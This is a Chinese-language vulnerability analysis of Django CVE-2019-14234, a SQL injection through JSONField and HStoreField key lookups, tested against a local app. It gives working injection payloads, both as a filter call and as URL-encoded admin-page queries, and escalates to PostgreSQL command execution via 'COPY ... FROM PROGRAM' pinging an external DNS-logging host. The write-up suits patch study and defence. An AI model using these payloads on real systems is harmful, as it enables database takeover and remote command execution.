0x00前言
8月1号,DJango官方发出更新,其中修复了一个存在于JSON的SQL注入漏洞(CVE-2019-14234)
作为以Django为主要开发的人来说,需要好好研究一下。
0x01 漏洞修复
首先来看看官方是如何修复的
首先将django/contrib/postgres/fields/hstore.py
文件里面的KeyTransform
类的as_sql
函数中的直接传递字符传改为了将self.key_name
单独使用数组进行传递,其中%%
的意思为"转换说明符",其主要作用为直接转化为单个"%"符号而不需要参数。类似于\\
和\
In[1]:"%%"%()
Out[1]: '%'# 具体使用方法如下
In [2]: '%s %%s'%'test'
Out[2]: 'test %s'
之后在django/contrib/postgres/fields/jsonb.py
文件中将对self.key_name
变量的返回统一改成了使用数组进行转换。并且后期在单元测试中加入了对JSON的SQL注入测试
因此,也发现了通过JSON进行SQL注入的payload
0x02 漏洞分析
在github上,官方也给出了具体的原因
CVE-2019-14234: SQL injection possibility in key and index lookups for ``JSONField``/``HStoreField``
====================================================================================================:lookup:`Key and index lookups <jsonfield.key>` for
:class:`~django.contrib.postgres.fields.JSONField` and :lookup:`key lookups
<hstorefield.key>` for :class:`~django.contrib.postgres.fields.HStoreField`
were subject to SQL injection, using a suitably crafted dictionary, with
dictionary expansion, as the ``**kwargs`` passed to ``QuerySet.filter()``.
其通过**kwargs
传递键值树来绕过了QuerySet.filter()
方法,PostgreSQL的使用json数据进行查询的一个方法有三个主要的查询函数ArrayField
、JSONField
和HStoreField
,位于django.contrib.postgres.fields
路径下面,出问题的是JSONField
方法和HStoreField
方法,两种方法都为内置的JSONB存储,这两种方法的区别为JSONField类似于HStoreField,并且可以使用大型字典执行得更好。它还支持除字符串以外的类型,例如整数,布尔和嵌套字典。
首先models里面的数据库格式为
from django.db import models
from django.contrib.postgres.fields import JSONField
# Create your models here.
class Json(models.Model):
name = models.CharField(max_length=200)
data = JSONField()
def __str__(self):
return self.name
使用python manage.py shell
打开shell窗口,案例使用JSONField
函数进行存储和查询
Json方式查询的方法可以使用语句
Json.objects.filter(data__breed='test') # 查询data数据下名称为breed的内容为'test'的整个字段
或者使用语句
Json.objects.filter(**{"data__breed":'test'})
也可以达到要求
因HStoreField
方法预与之相同,故不做赘述。
因此既能够使用官方给的payload进行验证
Json.objects.filter(**{"""data__breed'='"a"') OR 1=1 OR('d""":'x',})
注入成功!!
查询语句转换为SQL语句为
select * from app01_json where (data- >'breed' ? 'test');
所以产生注入的语句为
select * from app01_json where (data- >'breed' ? 'a') OR 1=1 OR (data->'a'?'x');
为了探究该漏洞在哪一块业务中显现,因此来分析一下。同时又看到官方对过滤的参数都是self.key_name
,因此将跟进这一个参数,发现该参数是由KeyTransform
类中传入的参数得来的,再跟着KeyTransform
走,发现类KeyTransformFactory
调用KeyTransform
了并且向里面传入了self.key_name
接着跟进,同时在JSONField
类中的get_transform
方法传入了self.key_name
参数
同时跟进super中的父类函数,其传参来自于RegisterLookupMixin
类中的lookup_name
的变量,其JSONField和HStoreField都来自于这个类方法
class RegisterLookupMixin:
@classmethod
def _get_lookup(cls, lookup_name):
return cls.get_lookups().get(lookup_name, None)
@classmethod
@functools.lru_cache(maxsize=None)
def get_lookups(cls):
class_lookups = [parent.__dict__.get('class_lookups', {}) for parent in inspect.getmro(cls)]
return cls.merge_dicts(class_lookups)
def get_lookup(self, lookup_name):
from django.db.models.lookups import Lookup
found = self._get_lookup(lookup_name)
if found is None and hasattr(self, 'output_field'):
return self.output_field.get_lookup(lookup_name)
if found is not None and not issubclass(found, Lookup):
return None
return found
def get_transform(self, lookup_name):
from django.db.models.lookups import Transform
found = self._get_lookup(lookup_name)
if found is None and hasattr(self, 'output_field'):
return self.output_field.get_transform(lookup_name)
if found is not None and not issubclass(found, Transform):
return None
return found
那么,首先在as_sql函数和get_transform下面下断点
和as_sql方法
在views.py
中写一个逻辑函数
def query(request):
m = Json.objects.filter(data__breed="test")
return HttpResponse("OK")
访问http://127.0.0.1/query/
,提取断点信息,发现lookup_name
传入的参数为breed
之后跳入"(%s %s %s)" % (lhs, self.operator, lookup), params
的语句为("app01_json"."data" -> 'breed') []
,因此可以下结论我们需要控制的参数为breed
,即使用**{"data__breed":"test"}
可以对传进去的breed参数进行恶意构造从而达到SQL注入,self.operator
的值为字符串"->"
进而出现查询结果,我们将SQL注入语句插入之后显现的语句为("app01_json"."data" -> 'breed'='"a"') OR 1=1 OR('d') []
最终显示注入成功,官方对RegisterLookupMixin的定义为查询的API接口,主要功能为为类提供注册查找的接口。在之前使用Django后台页面的时候,对admin.py进行配置使其能够对后台的内容进行排序,而查找的参数测试由get进行传输,在测试中输入url http://127.0.0.1:8000/admin/app01/json/?data__breed=test
发现卡在了断点的位置,因此分析Django的后台查询使用了**kwargs方式进行传参
后台传参为("app01_json"."data" -> 'breed') []
,因此构造一下url,并且在db\backends\utils.py
文件里面下断点
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d1 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
传进来的SQL语句为
'SELECT "app01_json"."id", "app01_json"."name", "app01_json"."data" FROM "app01_json" WHERE ("app01_json"."data" -> \'breed\'?\'a\') OR 1=1 -- OR ("app01_json"."data" -> \'data\') = %s ORDER BY "app01_json"."id" DESC'
同时我们也可以用Postrgesql进行命令执行,首先使用URL创建一个数据库
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
显示没有结果导出
但是成功创建cmd_exec表
接着插入URL执行命令
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27ping christa.ccccc.ceye.io%27 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
成功执行命令!
Reference
- https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
- https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
- https://stackoverflow.com/questions/28145588/what-does-printss-mean-here
- https://github.com/django/django/commit/7deeabc7c7526786df6894429ce89a9c4b614086#diff-57ceaae67721b3f8d5729222c032af8e
- https://docs.djangoproject.com/en/2.2/ref/contrib/postgres/fields/
- https://docs.djangoproject.com/en/2.2/ref/models/lookups/
- https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5